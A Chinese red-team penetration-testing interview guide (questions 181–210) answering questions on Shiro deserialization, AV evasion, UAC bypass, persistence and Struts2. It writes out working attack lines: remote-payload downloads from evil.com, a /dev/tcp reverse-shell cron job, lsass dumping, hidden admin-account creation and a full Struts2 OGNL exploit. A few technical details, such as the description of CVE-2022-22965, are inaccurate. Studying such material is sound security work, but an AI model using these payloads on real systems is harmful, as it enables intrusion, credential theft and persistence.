2025年渗透测试面试题总结-渗透测试红队面试七(题目+回答)
网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
渗透测试红队面试七
一百八十一、Shiro漏洞类型,721原理,721利用要注意什么?
一百八十二、HVV三大洞
一百八十三、天擎终端防护绕过思路
一百八十四、免杀木马的思路
一百八十五、JSONP与CORS跨域危害
一百八十六、外网打点进入内网案例
一百八十七、RMI利用原理
一百八十八、域内普通用户利用
一百八十九、宝塔禁止PHP函数绕过
一百九十、证书透明度的危害
一百九十一、内网渗透降权的作用
一百九十二、Webshell有SYSTEM权限但无法执行命令
一百九十三、TrustedInstaller权限原理
一百九十四、2008服务权限提权
一百九十五、Windows UAC原理
一百九十六、绕过火绒/360添加用户
一百九十七、伪造钓鱼邮箱与风险
一百九十八、默认端口
一百九十九、XSS组合拳Getshell
二百、烂土豆(Rotten Potato)提权原理
二百〇一、PowerShell免杀制作
二百〇二、绕过内存Hash提取查杀
二百〇三、Linux/Windows权限维持
二百〇四、蓝队与红队工作流程
二百〇五、Shellcode嵌入正常EXE
二百〇六、Spring框架漏洞
二百〇七、Struts2漏洞利用原理
二百〇八、PHP/Java反序列化漏洞原理与修复
二百〇九、CRLF注入原理
二百一十、PHP LFI漏洞
渗透测试红队面试七
一百八十一、shiro漏洞类型,721原理,721利用要注意什么?一百八十二、hvv三大洞?一百八十三、天擎终端防护如何绕过,绕过思路?一百八十四、免杀木马的思路?一百八十五、jsonp跨域的危害,cors跨域的危害?一百八十六、说出印象比较深刻的一次外网打点进入内网?一百八十七、rmi的利用原理?一百八十八、域内的一个普通用户(非域用户)如何进行利用?一百八十九、宝塔禁止PHP函数如何绕过?一百九十、证书透明度的危害?一百九十一、内网渗透降权的作用?一百九十二、webshell有system权限但无法执行命令,怎么办?一百九十三、TrustedInstall权限的原理是什么?一百九十四、2008的服务权限如何进行提权?一百九十五、Windows UAC原理是什么?一百九十六、Windows添加用户如何绕过火绒以及360?一百九十七、如何伪造钓鱼邮箱?会面临什么问题?一百九十八、分别说出redis、weblogic、Mongodb、Elasticsearch、ldap、sambda、Jenkins、rmi默认端口。一百九十九、XSS如何配合组合拳进行getshell。二百、烂土豆提权使用过吗?它的原理?二百〇一、powershell免杀怎么制作?二百〇二、提取内存hash被查杀,如何绕过?二百〇三、分别说下linux、windows的权限维持?二百〇四、如何开展蓝队工作?如何开展红队工作?二百〇五、如何把shellcode嵌入到正常exe中?二百〇六、描述下Spring框架的几个漏洞?二百〇七、说下strust2的漏洞利用原理?二百〇八、php/java反序列化漏洞的原理?解决方案?二百〇九、CRLF注入的原理二百一十、php的LFI,本地包含漏洞原理是什么?写一段带有漏洞的代码。手工的话如何发掘?如果无报错回显,你是怎么遍历文件的?
一百八十一、Shiro漏洞类型,721原理,721利用要注意什么?
- 漏洞类型
- 反序列化漏洞(Shiro-550):因硬编码密钥导致攻击者伪造RememberMe Cookie,利用Apache Commons Collections链执行任意代码。
- 权限绕过漏洞(CVE-2020-1957等):URL路径解析缺陷(如
/admin/
被解析为/admin
绕过鉴权)。- Padding Oracle攻击(Shiro-721):CBC加密模式填充错误漏洞,可破解密钥伪造恶意Cookie。
- Shiro-721原理
- 攻击者需先获取合法用户的RememberMe Cookie(需高权限账户)。
- 利用CBC加密的填充错误机制,通过多次请求(约数千次)逐字节爆破AES密钥。
- 最终构造恶意序列化数据,触发反序列化漏洞执行代码。
- 利用注意事项
- 需要稳定的网络环境(避免请求失败中断爆破)。
- 目标需开启RememberMe功能且使用默认AES加密模式。
- 攻击时间较长,需隐蔽操作避免触发告警。
一百八十二、HVV三大洞
- 未授权访问
- Redis/MongoDB未授权:直接连接执行命令或写入SSH密钥。
- K8s API Server暴露:未鉴权下创建Pod或执行容器逃逸。
- 远程代码执行(RCE)
- Web应用漏洞:如Fastjson反序列化、Log4j2 JNDI注入。
- 中间件漏洞:如WebLogic T3协议反序列化、Apache Solr Velocity模板注入。
- 弱口令与默认配置
- 系统/设备弱口令:如Tomcat默认密码
admin:admin
。- 服务默认端口暴露:如Elasticsearch 9200端口未配置访问控制。
一百八十三、天擎终端防护绕过思路
- 进程注入与内存免杀
- 将恶意代码注入可信进程(如
svchost.exe
)或通过反射型DLL加载。- 使用工具:Cobalt Strike的
shinject
、Metasploit的migrate
。- 驱动级绕过
- 利用已签名驱动的漏洞(如某些硬件厂商驱动)加载内核模块。
- 例如:通过
BYOVD(Bring Your Own Vulnerable Driver)
攻击。- 白名单程序滥用
- 劫持系统工具执行恶意操作,如:
- WMI:通过
wmic
执行远程脚本。- MsBuild:编译内嵌恶意代码的C#项目文件。
一百八十四、免杀木马的思路
- 代码混淆与加密
- 使用AES加密Shellcode,运行时动态解密(如使用
VirtualAlloc
分配内存执行)。- 工具:
sgn(Shikata Ga Nai)
编码器、ConfuserEx
混淆器。- 合法工具加载
- 利用微软签名的程序加载恶意代码,如:
- Regsvr32:执行远程脚本(
regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll
)。- Mshta:运行HTA文件执行PowerShell命令。
- 反沙箱与反调试
- 检测虚拟机环境(如检查进程名
vmtoolsd
、注册表键值)。- 延迟执行:通过
Sleep()
函数或条件触发绕过行为分析。
一百八十五、JSONP与CORS跨域危害
- JSONP危害
- 敏感数据泄露:若回调函数名未过滤,攻击者可劫持返回数据(如窃取用户身份信息)。
- CSRF攻击:结合JSONP接口实现跨站请求伪造(如修改用户密码)。
- CORS危害
- 配置不当导致越权:如
Access-Control-Allow-Origin: *
允许任意域读取数据。- 结合XSS攻击:通过CORS信任域下的XSS窃取其他域的数据(如Cookie)。
一百八十六、外网打点进入内网案例
案例背景:某企业官网存在Git源码泄露,导致数据库密码暴露。
攻击链:
- 外网突破:通过泄露的数据库密码登录后台,上传Webshell。
- 内网渗透:发现内网Jenkins服务(未授权访问),利用Groovy脚本执行命令。
- 横向移动:通过Jenkins节点获取域用户凭证,利用SMB爆破横向至域控服务器。
一百八十七、RMI利用原理
- 攻击面
- RMI Registry反序列化:向Registry发送恶意对象触发反序列化(如CVE-2017-3248)。
- 远程对象方法调用:通过动态类加载(DGC)下载恶意类文件执行代码。
- 利用工具
- ysoserial:生成Gadget链Payload(如JRMPClient)。
- Exploit步骤:
bash
复制
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 'cmd.exe /c calc'
一百八十八、域内普通用户利用
- 信息收集
- PowerView:枚举域内主机(
Get-NetComputer
)、共享(Invoke-ShareFinder
)。- BloodHound:分析域内权限关系,寻找攻击路径(如ACL滥用)。
- 横向移动
- Pass-the-Hash:使用Mimikatz或Impacket的
psexec.py
传递NTLM哈希。- MS17-010漏洞:利用永恒之蓝攻击未修补的主机。
- 提权路径
- SeImpersonate权限滥用:使用Juicy Potato或PrintSpoofer获取SYSTEM权限。
- 服务配置错误:利用弱权限服务路径替换DLL或EXE文件。
一百八十九、宝塔禁止PHP函数绕过
- 函数替代
- 禁用
system
但允许shell_exec
:使用shell_exec('whoami')
执行命令。- 反引号执行:
echo \
whoami`;`。- LD_PRELOAD劫持
- 编写恶意共享库(
.so
),通过putenv
设置LD_PRELOAD
劫持函数调用。- 代码示例:
php
复制
putenv("LD_PRELOAD=/tmp/evil.so"); mail('','','',''); // 触发新进程加载恶意库
一百九十、证书透明度的危害
- 子域名劫持
- 攻击者监控证书透明度日志,发现未使用的子域并注册指向恶意服务器。
- 例如:
dev.example.com
在证书日志中存在但DNS未解析,攻击者劫持后钓鱼。- 伪造证书信任链
- 利用透明度日志中的过期证书,伪装成合法服务进行中间人攻击。
一百九十一、内网渗透降权的作用
- 规避检测
- 降权至普通用户减少日志告警(如域管操作触发SIEM规则)。
- 权限维持隐蔽性
- 低权限账户不易被清理(如域管定期重置密码)。
一百九十二、Webshell有SYSTEM权限但无法执行命令
- 权限限制分析
- AppLocker策略:限制非白名单程序执行(如禁止
cmd.exe
)。- 杀软拦截:静态检测Webshell关键词或动态拦截恶意进程。
- 绕过方法
- COM对象调用:使用
WScript.Shell
执行命令。php
复制
$wsh = new COM('WScript.Shell'); $wsh->Run('cmd.exe /c whoami', 0, false);
- DLL侧加载:通过
rundll32
加载恶意DLL。
一百九十三、TrustedInstaller权限原理
- 权限层级
- TrustedInstaller是Windows资源的所有者(如系统文件),权限高于SYSTEM。
- 提权方法
- 通过服务配置修改:劫持
TrustedInstaller
服务路径加载恶意程序。- 利用漏洞:如CVE-2020-1048(打印服务漏洞)获取权限。
一百九十四、2008服务权限提权
- 服务路径劫持
- 查找弱权限服务(
accesschk.exe -uwcqv
),替换其二进制文件。- DLL劫持
- 将恶意DLL放置到服务加载路径中,劫持合法DLL调用。
- SC命令滥用
- 通过
sc config
修改服务BIN_PATH指向恶意程序。
一百九十五、Windows UAC原理
- 权限隔离机制
- 默认以标准用户权限运行进程,提权需用户确认或数字签名验证。
- 绕过方法
- 白名单程序滥用:如
cmstp.exe
、msiexec.exe
执行恶意代码。- UAC Bypass漏洞:如CVE-2019-1388(证书对话框提权)。
一百九十六、绕过火绒/360添加用户
- 直接修改注册表
- 使用
reg add
添加用户键值,避开用户态Hook:cmd
复制
reg add "HKLM\SAM\SAM\Domains\Account\Users\000003F0" /v F /t REG_BINARY /d [hex数据]
- Powershell绕过
- 使用混淆脚本调用
net user
命令:powershell
复制
&('ne'+'t') u'ser' evil P@ssw0rd /add
一百九十七、伪造钓鱼邮箱与风险
- 伪造方法
- 域名仿冒:注册相似域名(如
examp1e.com
代替example.com
)。- SPF记录伪造:利用SPF配置不严格(
?all
)绕过邮件服务器验证。- 面临风险
- DMARC检测:收件方服务器可能标记邮件为垃圾或拒收。
- 法律风险:可能触犯《刑法》第二百八十五条(非法侵入计算机信息系统罪)。
一百九十八、默认端口
服务 默认端口 Redis 6379 WebLogic 7001 MongoDB 27017 Elasticsearch 9200/9300 LDAP 389/636 Samba 445/139 Jenkins 8080 RMI Registry 1099
一百九十九、XSS组合拳Getshell
- XSS + CSRF
- 通过XSS窃取管理员Cookie,伪造CSRF请求上传Webshell。
- XSS + CORS
- 利用CORS配置错误,通过XSS跨域读取内网接口数据,获取敏感信息。
- XSS + 文件上传
- 通过XSS劫持管理员会话,调用后台文件上传功能传马。
二百、烂土豆(Rotten Potato)提权原理
- 令牌模拟漏洞
- 利用Windows本地NTLM认证流程(NTLM over localhost),将SYSTEM令牌模拟到当前进程。
- 利用条件
- 需具备
SeImpersonatePrivilege
权限(IIS、SQL Server等默认拥有)。- 攻击步骤
- 触发本地NTLM认证,通过
DCOM
服务劫持端口,最终获取SYSTEM令牌。
二百〇一、PowerShell免杀制作
- 代码混淆
- 使用
Invoke-Obfuscation
工具混淆脚本:powershell
复制
Invoke-Obfuscation -ScriptPath evil.ps1 -Command 'Token\All\1,Launcher\PS\124'
- 内存加载
- 反射加载Shellcode:
powershell
复制
$bytes = (New-Object Net.WebClient).DownloadData('http://evil.com/shellcode.bin'); [Reflection.Assembly]::Load($bytes).EntryPoint.Invoke($null,$null);
二百〇二、绕过内存Hash提取查杀
- 定制化工具
- 修改Mimikatz源码(如函数名、字符串特征),绕过静态检测。
- 直接内存读取
- 使用
C++
编写工具直接读取lsass.exe
内存,避开API Hook。- 合法凭证导出
- 使用微软官方工具
procdump
导出内存镜像,本地解析:cmd
复制
procdump.exe -ma lsass.exe lsass.dmp
二百〇三、Linux/Windows权限维持
Linux Windows 1. SSH后门:修改 ~/.ssh/authorized_keys
添加攻击者公钥。1. 注册表启动项: HKLM\Software\Microsoft\Windows\CurrentVersion\Run
添加恶意路径。2. Cron定时任务:添加 * * * * * /bin/bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'
。2. 计划任务: schtasks /create /tn "Update" /tr "C:\evil.exe" /sc minute /mo 1
。3. SUID提权: chmod +s /bin/bash
,通过bash -p
获取root权限。3. 服务后门:创建服务指向恶意程序, sc create EvilService binPath= "C:\evil.exe"
。
二百〇四、蓝队与红队工作流程
蓝队(防御):
- 监控与分析:通过SIEM(如Splunk)实时分析日志,检测异常行为(如异常登录、横向移动)。
- 威胁狩猎:使用EDR工具(如CrowdStrike)主动搜寻隐藏威胁。
- 应急响应:隔离受感染主机,分析攻击链,修复漏洞并溯源攻击者。
红队(攻击模拟):
- 情报收集:通过OSINT(如Shodan、Hunter.io )收集目标信息。
- 漏洞利用:模拟APT攻击链(如鱼叉邮件钓鱼+内网渗透)。
- 报告输出:提供详细攻击路径与防御建议(如加固建议、检测规则)。
二百〇五、Shellcode嵌入正常EXE
- 资源文件插入
- 使用Visual Studio将Shellcode作为资源文件嵌入,运行时加载执行:
cpp
复制
HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA); LPVOID pShellcode = LockResource(LoadResource(NULL, hRes));
- 附加节区注入
- 使用
CFF Explorer
在PE文件中添加新节区,写入Shellcode并修改入口点。- 进程镂空(Process Hollowing)
- 创建合法进程(如
svchost.exe
),卸载其内存,写入Shellcode并执行。
二百〇六、Spring框架漏洞
- CVE-2022-22963(SpEL注入)
- 攻击者通过
spring-cloud-function
的SpEL表达式执行任意命令。- CVE-2022-22965(JDBC注入)
- 利用Spring MVC参数绑定漏洞,通过恶意请求修改JDBC URL触发RCE。
- CVE-2018-1273(远程代码执行)
- 通过Spring Data Commons的嵌套属性绑定漏洞执行OGNL表达式。
二百〇七、Struts2漏洞利用原理
- OGNL表达式注入
- 攻击者通过恶意参数(如
Content-Type
、filename
)注入OGNL表达式。- 示例(CVE-2017-5638):
http
复制
POST /struts2-showcase/upload.action HTTP/1.1 Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
二百〇八、PHP/Java反序列化漏洞原理与修复
- 漏洞原理
- PHP:
unserialize()
函数触发魔术方法(如__wakeup()
、__destruct()
)执行代码。- Java:
readObject()
方法反序列化恶意对象,触发Gadget链(如Apache Commons Collections)。- 修复方案
- 输入过滤:避免反序列化用户可控数据。
- 安全配置:PHP禁用危险类(
phar.readonly=On
),Java使用SerialKiller
库过滤类。
二百〇九、CRLF注入原理
- 攻击场景
- 注入
\r\n
分割HTTP头,如:http
复制
服务器响应:
GET /%0d%0aSet-Cookie:evil=value HTTP/1.1
http
复制
HTTP/1.1 200 OK Set-Cookie: evil=value
- 利用后果
- 设置恶意Cookie、缓存投毒(如X-Forwarded-For头伪造IP)。
二百一十、PHP LFI漏洞
- 漏洞代码示例
php
复制
<?php $page = $_GET['page']; include($page . '.html'); ?>
- 攻击者可传入
page=../../etc/passwd%00
,利用空字节截断后缀。- 手工挖掘技巧
- 路径遍历测试:
?page=..%2f..%2fetc/passwd
。- 伪协议利用:
?page=php://filter/convert.base64-encode/resource=index.php
读取源码。- 无回显文件遍历
- 时间盲注:通过
include
延时判断文件存在性(如/proc/self/cwd/
路径遍历)。- 错误触发:包含不存在的文件触发Warning日志,观察服务器响应差异。